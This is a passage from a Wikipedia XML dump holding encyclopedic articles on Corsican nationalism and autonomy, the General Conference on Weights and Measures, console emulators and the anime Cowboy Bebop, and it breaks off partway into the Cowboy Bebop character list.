Some groups who claim to support Corsican independence have carried out a violent campaign since the 1970s that includes [[bombing]]s and a few [[assassination]] attempts, usually targeting ''[[Pied-noir|pieds-noir]]s'' and other non-Corsicans, or buildings and officials representing the French government. The peaceful occupation of a ''pied-noir'' vineyard in [[Aléria]] in 1975 marked a turning point when the French government responded with overwhelming force, generating sympathy for the independence groups among the Corsican population. However, events such as the murder of ''[[préfet]]'' [[Claude Érignac]] on [[February 6]], [[1998]] (for which [[Yvan Colonna]] was arrested five years later) have only served to convince many in Corsica, as well as in the French government and the general French public, that Corsican nationalists cannot be trusted with more autonomy. Recent attacks on Muslims have reinforced this opinion. 

Some of the independence groups are known to practice [[extortion]] and other [[intimidation|intimidatory]] tactics, not dissimilar from [[mafia]] activity in [[Sicily]] and southern [[Italy]]. Non-Corsican homeowners may be threatened with the destruction of their home, able to be avoided only through paying a ransom. Journalists writing articles critical of the armed groups have sometimes been threatened. Prosecutions are made difficult by a pervasive &quot;law of silence&quot;. It is sometimes suggested that such behavior could be directly related to longstanding cultural traditions of banditry in the rugged interior of the island.

In [[2000]], [[Prime Minister of France|Prime Minister]] [[Lionel Jospin]] agreed to grant increased autonomy to Corsica in exchange for an end to violence. The proposed autonomy for Corsica would have included greater protection for the [[Corsican language]] (Corsu), the island's traditional language, whose practice and teaching, like other [[Languages of France|regional or minority languages in France]], had in the past been discouraged. According to the [[UNESCO]] classification, the Corsican language is currently in danger of becoming extinct. However, the plans for increased autonomy were opposed by the [[Gaullism|Gaullist]] opposition in the [[French National Assembly]], who feared that they would lead to calls for autonomy from other ''régions'' (such as [[Brittany]] or [[Alsace]]), eventually threatening France's unity as a country. 

In a [[referendum]] on [[July 6]], [[2003]], a narrow majority of Corsican voters opposed a project from the government of [[Jean-Pierre Raffarin]] and [[Minister of the Interior (France)|Interior Minister]] [[Nicolas Sarkozy]] that would have suppressed the two ''départements'' of the island and granted greater autonomy to the territorial collectivity of Corsica.

==See also==
*[[List of active autonomist and secessionist movements]]
*[[Corsican immigration to Puerto Rico]]
*[[List of Corsicans]]

==External links==
*[http://www.photoglobe.info/db_corsica/index.html PhotoGlobe - Corsica] A collection of photos of Corsica together with GPS-based positions
*[http://www.cnn.com/2003/WORLD/europe/07/06/corsica.poll/index.html CNN] CNN coverage of rejection of autonomy proposals in 2003
*[http://www.corsica-isula.com Corsica-Isula] very helpful website on Corsica
*[http://korsika.unas.cz/ Touristic maps of Corsica]
*[http://www.corsicarobase.com Photos of Corsica] - more than 800
*[http://fst.univ-corse.fr University of Corsica] 
*[http://www.directCorsica.com Corsican Holiday Portal] Comprehensive Corsican Holiday site
{{Regions_of_France}}

[[Category:Corsica|*]]

{{Link FA|ja}}

[[an:Corzega]]
[[bg:Корсика]]
[[ca:Còrsega]]
[[co:Corsica]]
[[da:Korsika]]
[[de:Korsika]]
[[et:Korsika]]
[[es:Córcega]]
[[eo:Korsiko]]
[[eu:Korsika]]
[[fr:Corse]]
[[ko:코르시카]]
[[hr:Korzika]]
[[id:Korsika]]
[[it:Corsica]]
[[he:קורסיקה]]
[[ka:კორსიკა]]
[[la:Corsica]]
[[lt:Korsika]]
[[lb:Korsika]]
[[hu:Korzika]]
[[nl:Corsica]]
[[ja:コルシカ島]]
[[no:Korsika]]
[[pl:Korsyka]]
[[pt:Córsega]]
[[ro:Corsica]]
[[ru:Корсика]]
[[sk:Korzika]]
[[sl:Korzika]]
[[fi:Korsika]]
[[sv:Korsika]]
[[zh:科西嘉岛]]</text>
    </revision>
  </page>
  <page>
    <title>General Conference on Weights and Measures</title>
    <id>7339</id>
    <revision>
      <id>27908087</id>
      <timestamp>2005-11-10T09:24:36Z</timestamp>
      <contributor>
        <username>GusGus</username>
        <id>44416</id>
      </contributor>
      <comment>/* CGPM Meetings */</comment>
      <text xml:space="preserve">The '''General Conference on Weights and Measures''' is the English name of the '''Conférence générale des poids et mesures''' ('''CGPM''', never GCWM). It is one of the three organizations established to maintain the International System of Units ([[SI]]) under the terms of the [[Convention du Mètre]] (Metre Convention) of [[1875]]. It meets in [[Paris]] every four to six years. In [[2002]] the CGPM represented 51 member states and ten further associate members &lt;sup&gt;(1)&lt;/sup&gt;. [[As of 2005]], the number of associates has grown to 17.

== CGPM Meetings ==

* 1&lt;sup&gt;st&lt;/sup&gt; ([[1889]]) - [[kilogram]] defined as mass of the international prototype kilogram (IPK) made of [[platinum]]-[[iridium]] and kept at the [[International Bureau of Weights and Measures]] (Bureau international des poids et mesures), [[Sèvres]], France. International prototype metre sanctioned.
* 2&lt;sup&gt;nd&lt;/sup&gt; ([[1897]])
* 3&lt;sup&gt;rd&lt;/sup&gt; ([[1901]]) -  [[Litre]] redefined as volume of 1 kg of water.  Clarified that kilograms are units of mass, &quot;standard weight&quot; defined, [[Gee|standard acceleration of gravity]] defined endorsing use of grams force and making them well-defined.
* 4&lt;sup&gt;th&lt;/sup&gt; ([[1907]]) - [[carat (mass)|carat]] = 200 mg adopted.
* 5&lt;sup&gt;th&lt;/sup&gt; ([[1913]]) - International Temperature Scale proposed.
* 6&lt;sup&gt;th&lt;/sup&gt; ([[1921]]) - Metre Convention revised.
* 7&lt;sup&gt;th&lt;/sup&gt; ([[1927]]) - Consultative Committee for Electricity (CCE) created.
* 8 &lt;sup&gt;th&lt;/sup&gt; ([[1933]]) - need for absolute electrical unit identified.
* 9&lt;sup&gt;th&lt;/sup&gt; ([[1948]]) - [[ampere]], [[coulomb]], [[farad]], [[henry (inductance)|henry]], [[joule]], [[newton]], [[ohm]], [[volt]], [[watt]], [[weber (unit)|weber]] defined. Chose [[Celsius|degree Celsius]] from among the three names then in use.  Lowercase l &lt;!--symbols for units of measure never italic--&gt;adopted as symbol for litre. Both the comma and dot on a line are accepted as decimal marker symbols. Symbols for the [[stere]] and [[second]] changed [http://www1.bipm.org/jsp/en/ViewCGPMResolution.jsp?CGPM=9&amp;RES=7].
* 10&lt;sup&gt;th&lt;/sup&gt; ([[1954]]) - [[kelvin]], [[standard atmosphere]] defined. ''International System of Units'' ([[metre]], [[kilogram]], [[second]], [[ampere]], [[kelvin]], [[candela]]) began.
* 11&lt;sup&gt;th&lt;/sup&gt; ([[1960]]) - metre redefined in terms of wavelengths of light. [[Hertz]], [[lumen (unit)|lumen]], [[lux]], [[tesla (unit)|tesla]] adopted. New metric system given the official symbol '''SI''' for '''''[[Système International d'Unités]]''''', the &quot;modernized metric system&quot;. Prefixes ''pico-'', ''nano-'', ''micro-'', ''mega-'', ''giga-'' and ''tera-'' confirmed.
* 12 &lt;sup&gt;th&lt;/sup&gt; ([[1964]]) - original definition of [[litre]] = 1 dm&amp;sup3; restored. ''atto-'' and ''femto-'' prefixes.
* 13&lt;sup&gt;th&lt;/sup&gt; ([[1967]]) - second redefined as duration of 9&amp;nbsp;192&amp;nbsp;631&amp;nbsp;770 periods of the radiation corresponding to the transition between the two hyperfine levels of the ground state of the [[caesium]]-133 atom at a temperature of 0 K. ''Degree Kelvin'' renamed ''kelvin''. Candela redefined.
* 14&lt;sup&gt;th&lt;/sup&gt; ([[1971]]) - new [[SI base unit]] [[mole (unit)|mole]] defined. [[Pascal]], [[siemens (unit)|siemens]] approved.
* 15&lt;sup&gt;th&lt;/sup&gt; ([[1975]]) - ''peta-'' and ''exa-'' prefixes. [[gray (unit)|Gray]] and [[becquerel]] radiological units.
* 16&lt;sup&gt;th&lt;/sup&gt; ([[1979]]) - [[candela]], [[sievert]] defined. Both l and L &lt;!--symbols for units of measure never italic--&gt; provisionally allowed as symbols for litre.
* 17&lt;sup&gt;th&lt;/sup&gt; ([[1983]]) - metre redefined in terms of the speed of light, but keeps same length.
* 18&lt;sup&gt;th&lt;/sup&gt; ([[1987]]) - conventional values adopted for [[Josephson constant]], ''K&lt;sub&gt;J&lt;/sub&gt;'', and [[von Klitzing constant]], ''R&lt;sub&gt;K&lt;/sub&gt;'', preparing the way for alternate definitions of the ampere and kilogram.
* 19&lt;sup&gt;th&lt;/sup&gt; ([[1991]]) - new prefixes ''[[yocto]]-'', ''[[zepto]]-'', ''[[zetta]]-'' and ''[[yotta]]-''.
* 20&lt;sup&gt;th&lt;/sup&gt; ([[1995]]) - supplementary SI units ([[radian]] and [[steradian]]) become ''derived units''.
* 21&lt;sup&gt;st&lt;/sup&gt; ([[1999]]) - new SI derived unit, the [[katal]] = [[mole (unit)|mole]] per [[second]], for the expression of catalytic activity.
* 22&lt;sup&gt;nd&lt;/sup&gt; ([[2003]]) - both the comma and dot on a line are reaffirmed as decimal marker symbols [http://www1.bipm.org/jsp/en/ViewCGPMResolution.jsp?CGPM=22&amp;RES=10].

== References ==
&lt;sup&gt;(1)&lt;/sup&gt; [http://www1.bipm.org/en/convention/member_states/ CGPM Member States]


[[Category:Standards organizations|Conférence générale des poids et mesures]]

[[cs:CGPM]]
[[et:Vihtide ja Mõõtude Peakonverents]]
[[fr:Conférence générale des poids et mesures]]
[[id:Conférence Générale des Poids et Mesures]]
[[it:Conférence Générale des Poids et Mesures]]
[[ko:국제도량형총회]]
[[ja:国際度量衡総会]]
[[pt:Conferência Geral de Pesos e Medidas]]
[[sr:Генерална конференција тежина и мера]]
[[sv:CGPM]]</text>
    </revision>
  </page>
  <page>
    <title>Console emulator</title>
    <id>7340</id>
    <revision>
      <id>41254881</id>
      <timestamp>2006-02-26T02:25:37Z</timestamp>
      <contributor>
        <ip>139.142.225.98</ip>
      </contributor>
      <text xml:space="preserve">A '''console emulator''' is a program for a computer, or other computing device, that can [[emulator|emulate]] a [[video game console]] or handheld, so a computer can be used to play games that were created for that console or to develop games for that console.  Such tools are often used to [[fan translation|translate]] games into other languages, to modify (or [[ROM hacking|hack]]) existing games, or to produce homebrewed [[demo (computer programming)|demo]]s.  Console emulation can also be achieved between consoles (hence [[cross-console emulation]]), making a modern video game console emulate a less advanced one.

==History==
Emulation was occasionally employed by console manufacturers in the early 1980s to allow games from other (and sometimes competing) hardware to be run on the manufacturer's device. The [[Atari 2600]] was by far the most frequent recipient of this behavior. [[Atari]]'s platform was easily the most popular and widespread early game consoles, and many developers touted compatibility with the system's vast library of games as a [[marketing]] ploy to attract customers. [[Coleco]]'s [[Colecovision]] and Atari's own [[Atari 5200]] provided add-on [[peripheral]]s that allowed 2600 [[Cartridge (electronics)|cartridge]]s to be played, and the [[Atari 7800]] provided this functionality right out of the box. Generally, this emulation was accomplished through special [[Computer hardware|hardware]]&amp;mdash;unlike modern console emulation, which generally reproduces the functionality of a system entirely through [[Computer software|software]].

By the mid-1990s [[personal computers]] had progressed to the point where it was technically feasible to replicate the behavior of some of the earliest consoles entirely through software, and the first unauthorized, non-commercial console emulators began to appear. These early programs were often incomplete, only partially emulating a given system, and often riddled with [[computer bug|computer bugs]]. Because few manufacturers had ever published technical specifications for their hardware, it was left to amateur programmers and developers to deduce the exact workings of a console through [[reverse engineering]]. [[Nintendo]]'s consoles tended to be the most commonly studied, and the most advanced early emulators tended to reproduce the workings of the [[Nintendo Entertainment System]] (NES), the [[Super Nintendo Entertainment System]] (SNES), and the [[Game Boy]] (GB). Programs like Marat Fayzullin's iNES (which emulated the NES) and VirtualGameBoy (GB), the Pasofami (NES) and Super Pasofami (SNES), and VSMC (SNES) were the most popular console emulators of this era.

[[Image:Nesticle.jpg|thumb|250px|Bloodlust Software's [[NESticle]], version ''x.xx'']]

In April [[1997]], [[Bloodlust Software]] released version 0.2 of [[NESticle]].  An unheralded and unexpected release, NESticle shocked the nascent console emulation community with its ease of use and unrivaled compatibility with NES ROM images. NESticle arguably provided the catalyst with which console emulation took off:  More and more users started experimenting with console emulation, and a new generation of emulators appeared following NESticle's lead. Bloodlust Software soon returned with [[Genecyst]] (emulating the [[Sega]] [[Sega Genesis|Genesis]]), and others released emulators like [[Snes9x]] and [[ZSNES]] (SNES). This rapid growth in the development of emulators in turn fed the growth of the [[ROM hacking]] and fan-translation community. The release of projects such as [[RPGe]]'s [[English language]] translation of ''[[Final Fantasy V]]'' drew even more users into the emulation scene.

As computers continued to advance and emulator developers grew more skilled in their work, the length of time between the commercial release of a console and its successful emulation began to shrink. Many recent consoles such as the [[Nintendo 64]], the [[Sony]] [[PlayStation]], and the [[Game Boy Advance]] saw significant work done toward emulation while still very much in production. This has led to a more concerted effort to crack down on unofficial emulation. Because the process of reverse engineering is protected in [[United States|U.S.]] law, the brunt of this attack has been borne by [[website]]s who host ROMs and [[ISO image]]s. Many such sites have been forced to shut down under threat of legal action.

On the other hand, commercial developers have once again begun to turn to emulation as a means to repackage and reissue their older games on new consoles. Notable examples of this behavior include [[Square Co., Ltd.]]'s rerelease of several older ''[[Final Fantasy]]'' titles on the PlayStation, Sega's collections of ''[[Sonic the Hedgehog]]'' games, and [[Capcom]]'s collection of ''[[Mega Man]]'' games for the [[Nintendo GameCube]], [[PlayStation 2]] and [[Xbox]].

==Arguments for/against emulation==
[[Image:Mario_Kart_64_-_Player_Select_screen.jpg|200px|thumb|left|''[[Mario Kart 64]]'' running on a [[Nintendo 64]] emulator. ]]Console games for emulators are generally distributed as [[ROM image]]s (or simply &quot;ROMs&quot;) on the [[Internet]]. Without the permission of the [[copyright]] holder or the [[Entertainment Software Association]], this practice is  appearently illegal&amp;mdash;although few copyright holders appear to care about older games (see [[abandonware]]); many copyright holders are defunct; and a few copyright holders have even released their games and demos [[gratis]] or even as [[free software]].  This illegality is also controversial for long-time gamers and so called [[Video game player#Types of video gamers|old-school gamers]].  One reason for the popularity of console emulation among fans is due to the belief that many older video games that are no longer on the market are more enjoyable than games currently on the market. Many such gamers argue that the graphical, [[Computer storage|memory]], and [[Computer hardware|hardware]] limitations of the [[8-bit era|8-bit]] and [[16-bit era|16-bit eras]] forced developers to spend more time on gameplay mechanics. Others have argued that modern [[3D graphics]] have not yet fully matured and that the two-dimensional, [[sprite (computer graphics)|sprite]]-based graphics of older systems remain more aesthetically pleasing.

Another common belief amongst console emulation enthusiasts is that companies can no longer derive income from older titles, thus excusing the distribution of ROM images. This is not always the case with published archived collections, [[Porting|ports]] of classic games to modern systems, and [[enhanced remake]]s provided by the original publisher or copyright holder. Many popular emulation websites have promulgated a myth that a user may keep a ROM image on his or her computer for a period of 24 hours. This idea stems from an obscure provision in copyright law intended to apply to [[library|libraries]]. Many ROM sites similarly claim that it is legal to download the ROMs for [[backup]] purposes if one owns a physical copy of the software. It appears that Title 17 USC Section 117
[http://www4.law.cornell.edu/uscode/17/117.html] permits making a backup copy within the United States, but this has never been tested in a court of law. In an editorial from [http://www.rpgamer.com/ RPGamer.com], one writer argues that console developers (especially Nintendo and Sony) and game publishers may have [http://www.rpgamer.com/editor/2003/q3/071403jf.html/ brought console emulation onto themselves] by implementing [[regional lockout|territorial lockout]]s or [[censorship]] of game content. The legal term for such behavior is '''[[copyright misuse]]'''.

For more recent systems (e.g., Nintendo's Game Boy Advance and N64, Sega's [[Dreamcast]], and Sony's PlayStation), copyright holders have generally been more proactive about protecting their copyrights, and a number of [[website]]s offering ROMs and [[ISO image]]s have been shut down under threat of legal action.

While most popular ROMs are copies of commercial games, many are created by individuals and small groups for the sole purpose of being [[public domain]] freeware. These ROMs, often given a &quot;PD&quot; tag in their filenames, are unquestionably legal provided the creators did not infringe on other material in their creation.  Even though companies are concerned about games' copyright statuses, some fans argue that they use the ROM images under [[fair use]] since some gaming enthusiasts have no intent to sell disks that contain those ROM images.

==Other uses==
One advantage to ROM images is the potential for ROM hacking: amateur [[programmer]]s and gaming enthusiasts have produced translations of foreign games, rewritten dialogue within a game, and applied fixes to [[computer bug|bugs]] that were present in the original game. Software that emulates a console may be improved with additional capabilities that the original system did not have, such as [[anti-aliasing]], audio interpolation, [[save state]]s, online [[multiplayer]] options, or the incorporation of [[cheat cartridge]] functionality.  

Some popular console emulators include [[gnuboy]], [[VisualBoyAdvance]], [[FCE Ultra]], [[nester emulator|nester]], [[Snes9x]], [[ZSNES]], [http://nessie.321.cn/ Nessie], [[Power Player Super Joy III]], and [[TuxNES]].

==See also==
*[[List of emulators]]

==External links==
* [http://www.emulinks.de/ emulinks.de] - Emulation web directory
* [http://www.zophar.net/ Zophar's Domain]
* [http://web.archive.org/web/20021007075128/www.eidolons-inn.de/emufaq2000/ The EmuFAQ]
* [http://www.edgeemu.com/ Edge Emulation]
* [http://www.vbalink.info/ VBALink GBA emu]
* [http://www.gbadev.org/ GBADev]
* [http://nesdev.parodius.com/ NESDev]
* [http://www.zophar.net/SuperNintendoDev/ SNESDev]
* [http://www.ngemu.com NGEMU]
* [http://www.smspower.org SMSPower.org]
* [http://www.consoleclassix.com/ ConsoleClassix]
* [http://emu-russia.km.ru/?l=en Emu-Russia]

[[category: Computer and video game platform emulators| ]]</text>
    </revision>
  </page>
  <page>
    <title>Cowboy Bebop</title>
    <id>7341</id>
    <revision>
      <id>42118741</id>
      <timestamp>2006-03-03T23:11:43Z</timestamp>
      <contributor>
        <username>EmperorBrandon</username>
        <id>559197</id>
      </contributor>
      <comment>Correcting George C. Cole</comment>
      <text xml:space="preserve">{{Infobox animanga/Header|
 title_name=Cowboy Bebop
 |image=Cowboybeboptitle.jpg
 |caption=Cowboy Bebop Logo
 |ja_name=カウボーイビバップ
 |ja_name_trans=Kaubōi Bibappu
 |genre=[[Adventure novel|Adventure]], [[Drama]], [[Comedy]], [[Science Fiction]], [[Shōnen]]
 |creator=[[Hajime Yatate]]
}}
{{Infobox animanga/Anime|
 title=
 |director=[[Shinichiro Watanabe]]
 |studio=[[Sunrise (company)|Sunrise]]
 |network=[[Image:Flag of Japan.svg|25px|Japan]][[TV Tokyo]] (1998-04-03 to 1998-06-19, 12 episodes only)
[[Image:Flag of Japan.svg|25px|Japan]] [[WOWOW]] (1998-10-23 to 1999-04-23, Full Series)
&lt;br&gt;[[Image:Flag of the United States.svg|25px|United States]] [[Cartoon Network]]
&lt;br&gt;[[Image:Flag of the Philippines.svg|25px|Philippines]] [[GMA Network]]
&lt;br&gt;[[Image:Flag of Argentina.svg|25px|Argentina]] [[Image:Flag of Brazil.svg|25px|Brazil]] [[Image:Flag of Mexico.svg|25px|Mexico]] [[Locomotion (TV channel)|Locomotion]]
&lt;br&gt; [[Image:Flag of the United Kingdom.svg|25px|United Kingdom]] [[CNX]] &lt;br&gt;
[[Image:Flag of the Netherlands.svg|25px|Netherlands]] [[The Music Factory|TMF]]

 |first_aired=[[April 3]] [[1998]]
 |last_aired=[[April 23]] [[1999]]
 |num_episodes=26
}}
{{Infobox animanga/Movie|
 title=Knockin' on Heaven's Door
 |director=[[Shinichiro Watanabe]]
 |studio=[[BONES (studio)|BONES]]
 |release_date=[[Image:Flag of Japan.svg|25px|Japan]] [[September 1]] [[2001]] &lt;br&gt;
[[Image:Flag of the United States.svg|25px|United States]] [[August 30]] [[2002]] &lt;br&gt;
[[Image:Flag of Australia.svg|25px|Australia]] [[March 6]] [[2003]]&lt;br&gt;
[[Image:Flag of Italy.svg|25px|Italy]] [[May 5]] [[2003]] &lt;br&gt;
[[Image:Flag of the United Kingdom.svg|25px|United Kingdom]] [[June 26]] [[2003]] &lt;br&gt;
[[Image:Flag of Argentina.svg|25px|Argentina]] [[July 1]] [[2003]] &lt;br&gt;
[[Image:Flag of Brazil.svg|25px|Brazil]] [[September 12]] [[2003]] &lt;br&gt;
[[Image:Flag of France.svg|25px|France]] [[October 1]] [[2003]]
 |runtime=120 min.
}}
{{Infobox animanga/Footer}}
{{nihongo|'''''Cowboy Bebop'''''|カウボーイビバップ|Kaubōi Bibappu}} (1998) is an [[anime]] television series and motion picture that follows a band of American-stylized [[Bounty hunter|bounty hunters]] thrown together by circumstance and necessity, but each with passionately disparate private agendas. Each episode tells the story of how the group tracks down wanted criminals in a futuristic setting while dealing with personal issues that arise by location, people they meet, or misgivings about the [[morality]] of the subject of their bounty. While every episode, or the movie, stands on its own, the back-stories of the characters and their growing intimacy together make the whole much greater than the sum of its parts.

''Cowboy Bebop'' was popular in [[Japan]] and became one of the biggest adult [[anime]] hits ever in the [[United States]], opening the genre to an audience that previously considered anything but live action to be juvenile. The unflinching adult themes of the show, along with the cool [[jazz]] tracks and [[political]] undertones became a favorite of many Americans tuning into [[Cartoon Network]]'s new late-night &quot;[[Adult Swim]]&quot;. Pirated copies of the Japanese Cowboy Bebop movie, [[Knockin' on Heaven's Door]], became available in 2002 dubbed with rough translations. By 2003, [[Sony]] Pictures released it to theatres, and eventually [[DVD]], an official version of the movie using the voices of the original English-speaking actors. Two ''Cowboy Bebop'' [[manga]] comic books were created based on the TV show, and a [[Playstation 2]] [[video game]] is due in the [[United States]] in March of 2006. (See also [[Cowboy Bebop#Licensing, authors, and publishers|Licensing, authors, and publishers]])

Cowboy Bebop is widely respected for its multiple layers and deep characters, combined with a very free-flowing feel to the story itself (heavily influenced by American culture, especially the [[jazz]] movements of the 1940s, hence &quot;[[bebop]]&quot;) and a large number of well-choreographed action fighting sequences (from space battles to [[martial arts]] hand-to-hand combat).

== Longevity ==
''Cowboy Bebop'' has remained a longtime favorite of [[anime]] fans in both [[Japan]] and the [[United States]]. A recent poll in the magazine ''[[Newtype (magazine)|Newtype]]'' asked the notoriously fickle [[Japanese people|Japanese]] audience to rank the &quot;Top 20 Anime Titles of All Time&quot;; ''Cowboy Bebop'' placed at number eight on a list that includes classics of the genre like ''[[Mobile Suit Gundam]]'' and ''[[Neon Genesis Evangelion]]''.

In the U.S., CN has dropped ''Cowboy Bebop'' from its [[Adult Swim]] line-up several times only to return it later due to its popularity. The network has also rotated ''Cowboy Bebop'' out of its anime lineup periodically in order to show other anime features such as ''[[Read or Die]]'' and ''[[Blue Gender]]''. ''Cowboy Bebop'' is usually rotated out for a quarter of a year and then returned to the lineup due to its long-running success and high appeal among anime fans of all age groups. Critics of the series see it as preventing other series from airing on the Adult Swim block, one of the few widely-broadcast North American venues for anime.

== History of ''Bebop'' ==
''Cowboy Bebop'' almost did not make it on Japanese broadcast television due to its (relatively) graphic depictions of violence.  The show had an aborted first run beginning on April 3, 1998 and running until June 19, 1998 on [[TV Tokyo]], broadcasting only episodes 2, 3, 7-15 and 18. Later that year, the series was shown in its entirety beginning on October 23 and running until April 23, 1999 on the satellite network [[WOWOW]]. ''Cowboy Bebop'' was popular enough that a movie, ''[[Cowboy Bebop: The Movie|Cowboy Bebop: Tengoku no Tobira]]'' (''Knockin' on Heaven's Door''),  was commissioned and released in Japan in 2001 and later released in the United States as ''Cowboy Bebop: The Movie'' in 2003.

[[Image:Cowboy_bebop01.jpg|right|thumb|200px|The crew of the ''Bebop''. From left to right: Spike, Jet, Ed, Faye, and Ein.]]  In 2001, ''Cowboy Bebop'' became the first anime title to be shown as part of the U.S. [[Cartoon Network]]'s [[Adult Swim]] block of programming. At the time, it was quite a risk for the fledgling networks as a more &quot;adult&quot; anime had never been broadcast in such a mainstream venue before. However, it turned out to be a rousing success, continuing to be broadcast regularly until present. The success of ''Cowboy Bebop'' paved the way for Cartoon Network's embrace of mature anime, including ''[[InuYasha]]'', ''[[Lupin III|Lupin the Third]]'', ''[[Trigun]]'', ''[[Blue Gender]]'', ''[[Fullmetal Alchemist]]'', ''[[FLCL]]'', ''[[Samurai Champloo]]'', and [[Wolf's Rain]]''.

In the [[United Kingdom]], ''Cowboy Bebop'' was first broadcast in 2003 as one of the highlights of the ill-fated 'cartoon network for adults', [[CNX]].

In [[France]] ''Cowboy Bebop'' was broadcast during summer 2000 on [[Canal+]].

[[Bandai]] released a ''Cowboy Bebop'' shooter in [[Japan]] for the [[PlayStation]] in 1998 . A [[PlayStation 2]] ''Cowboy Bebop'' video game has been released in [[Japan]] already and the [[Region One]] version is set for release in North America during the first quarter of 2006.  [http://www.bandaigames.com/games/cb.html]

In 2005, seven years after its original Japanese broadcast, ''Bebop'' was finally licensed and released in the European market by [[Beez]], an extension of [[Bandai Entertainment]].

== Plot ==
{{details|List of Bountyheads in Cowboy Bebop}}

In the year 2071, the crew of the spaceship ''Bebop'' travel the [[solar system]] trying to apprehend bounties. In the slang of the era, &quot;cowboys&quot; are bounty hunters, hence the name of the series. Each member of the ''Bebop'' crew contributes their own unique abilities to help catch bounties. Most episodes revolve around a bounty; however the real focus of the show concerns the pasts of each character, which unravel and connect as the series progresses.

Arguably, the main plotline focuses on Spike Spiegel, a former member of the 'Red Dragon' crime syndicate who is haunted by a past love triangle between his former syndicate partner, Vicious, and a mysterious woman named Julia. 

The series also focuses on the histories of the other ''Bebop'' crew members: Jet Black, a former ISSP officer on the Jovian moon [[Ganymede]]; Faye Valentine, an indebted gambler recently awakened from cryogenic slumber; Edward, a genius child computer [[hacker]]; and Ein, a revolutionary &quot;Data Dog&quot; capable of countless amazing acts, including hacking at twice the speed of an expert hacker.

== Background ==
In the year 2021, a series of ring-shaped [[hyperspace]] gateways were constructed across the solar system, allowing for easy [[interplanetary travel]]. Unfortunately, the gate network contained a fatal instability that was ignored by the contractors who built the system. The instability grew until a gateway near Earth exploded, releasing a powerful burst of energy that cracked the Moon. In a disaster referred to as &quot;the Gate Incident&quot;, meteoric debris from the Moon destroyed much of Earth's surface, killing billions. People mostly live underground, as debris continues to rain down on the planet daily, although a sizeable number of people refuse to leave or simply can't afford to. Most, however, left Earth after the Gate Incident and spread out across the solar system, living in colonies on [[Venus (planet)|Venus]], [[Mars (planet)|Mars]], some habitable [[asteroid]]s, and the [[Galilean moon|Galilean moons of Jupiter]].

It is interesting to note that the total population for the Solar System of 2071 is only about 1.3 billion. Assuming that the population of Earth in 2021 was greater than 6 billion (as on present-day Earth), the explosion of the gate was the worst disaster to ever befall humankind — at least 4.7 billion lives were lost.

Some of the colonies are more hospitable than others, but all planets and moons seen in the series except for Mars are [[terraformed]]. This situation points to the soft sci-fi nature of the series, since Mars is often considered the most easily terraformable planet, while terraforming the others within the next century is considered an almost impossible undertaking.

The domed craters of Mars are a great place to live, for those who can afford it. The poor can live on Venus, although the unlucky may be blinded or killed by Venus sickness. Rough [[Callisto (moon)|Callisto]] is a dreary and cold moon (with the city of Blue Crow having an all male population), [[Io (moon)|Io]] is toxic and volcanic, while [[Ganymede (moon)|Ganymede]] is almost completely surrounded by water and known for its fishing industry. [[Titan (moon)|Titan]], [[Saturn (planet)|Saturn]]'s largest moon, is a barren desert world which has been at war since the 2060s. There is even a Solar System Penitentiary on [[Pluto (planet)|Pluto]].

Most importantly to the general plot of the series, sometime after the advent of space travel, the [[bounty system]] of the Old West was reinstated by the government to help curb growing crime levels. Vigilantes are encouraged to capture bounties and return them (alive and relatively unharmed) to the authorities for a large reward.

At some point between the present day and the events of ''Cowboy Bebop'', the [[Woolong]] was established as a universal currency.

== Characters ==

{{spoilers}}

=== Spike Spiegel ===
[[Image:Soikebebopsftd.jpg|right|200px|thumb|Spike Spiegel]]

A 27-year-old bounty hunter who was born on Mars. In appearance, Spike is tall and thin, but with muscular shoulders. He has fuzzy dark green hair and brown eyes, one of which is lighter than the other (his left eye is a cybernetic prosthetic replacement after he lost his real eye in an accident). He is usually dressed in a blue leisure suit, with a yellow shirt and ''[[Lupin III]]'' inspired boots. Spike often has a cigarette between his lips, sometimes despite rain or &quot;no smoking&quot; signs.

Spike has many talents and abilities, making him an excellent bounty hunter. He has very sharp eyesight, and abnormally acute perception. Spike makes use of sleight-of-hand techniques to win card games, pick pockets, and even to slip things onto other people unnoticed. Where Spike really excels, however, is in combat. He is well versed in weaponry (such as his personal [[Jericho 941]] as well as other guns and explosives) and hand-to-hand combat skills. He specializes in [[Bruce Lee]]'s personal style of [[Jeet Kune Do]]. Spike is also an excellent pilot, and flies a converted Asteroid racer called &quot;Swordfish II.&quot;

When he's not working or practicing his martial arts skills, Spike is very laid-back and lackadaisical, often a source of consternation for his crew mates. Some members of the Bebop crew occasionally refer to him as a &quot;lunkhead&quot; due to his happy-go-lucky attitude, and generally Spike just takes life as it comes. However, behind the sleepy facade, Spike is heartbroken over the loss of Julia, who disappeared rather than follow him away from the syndicate.

Although some fans claim him to be of [[Jew|Jewish]] descent (due to his last name, which means &quot;mirror&quot; in [[German language|German]], his [[Afro|&quot;fuzzy&quot; hairstyle]], and his use of an Israeli-made pistol), director [[Shinichiro Watanabe]] stated at [[Otakon]] 1999 that he and the staffers initially chose the name Spiegel because they simply liked the sound of it. (It is also interesting to note that Director [[Spike Jonze]] was originally named Adam Spiegel, although whether this is a simple coincidence is debatable.)

Spike was a powerful member of the Red Dragon crime syndicate, where he was partnered with a man named Vicious. Spike was unhappy within the syndicate, and after a falling out with Vicious (Spike's affair and love for Julia, Vicious's girlfriend, was the cause for him to quit the syndicate), Spike faked his death to free himself from the organization.

At some time prior to Spike's faked death, he lost his left eye in what he calls an &quot;accident&quot;, and has it replaced with a cybernetic implant (hence the two different eye colors). However, Spike must have lost the eye at an earlier time as Julia reminisced about Spike's eyes to Gren, a minor character in the series. This detail is mentioned to Spike by Gren in episode 13, &quot;Jupiter Jazz Part II&quot;. If Spike had lost his eye when he left the syndicate, Julia would not have seen the cybernetic replacement until their reunion in episode 25, &quot;The Real Folk Blues Part I&quot;.

Some time after his &quot;death&quot;, Spike met up with bounty hunter Jet Black, and the two men became partners. Spike moved onto Jet's ship, the &quot;Bebop&quot;, and the two men worked together for about three years before being joined by the rest of the crew.

Spike's philosophy seems to be based on the ancient [[samurai]] ideals of immediacy: considering oneself as dead and the idea of death being an awakening from a dream are both elements of [[Bushido]] illustrated in the [[Hagakure]].

Spike is voiced by [[Koichi Yamadera]] in the Japanese version and [[Steven Blum]] (as David Lucas) in the English version.

=== Jet Black ===
[[Image:JetBlack001.jpg|right|250px|thumb|Jet Black]]
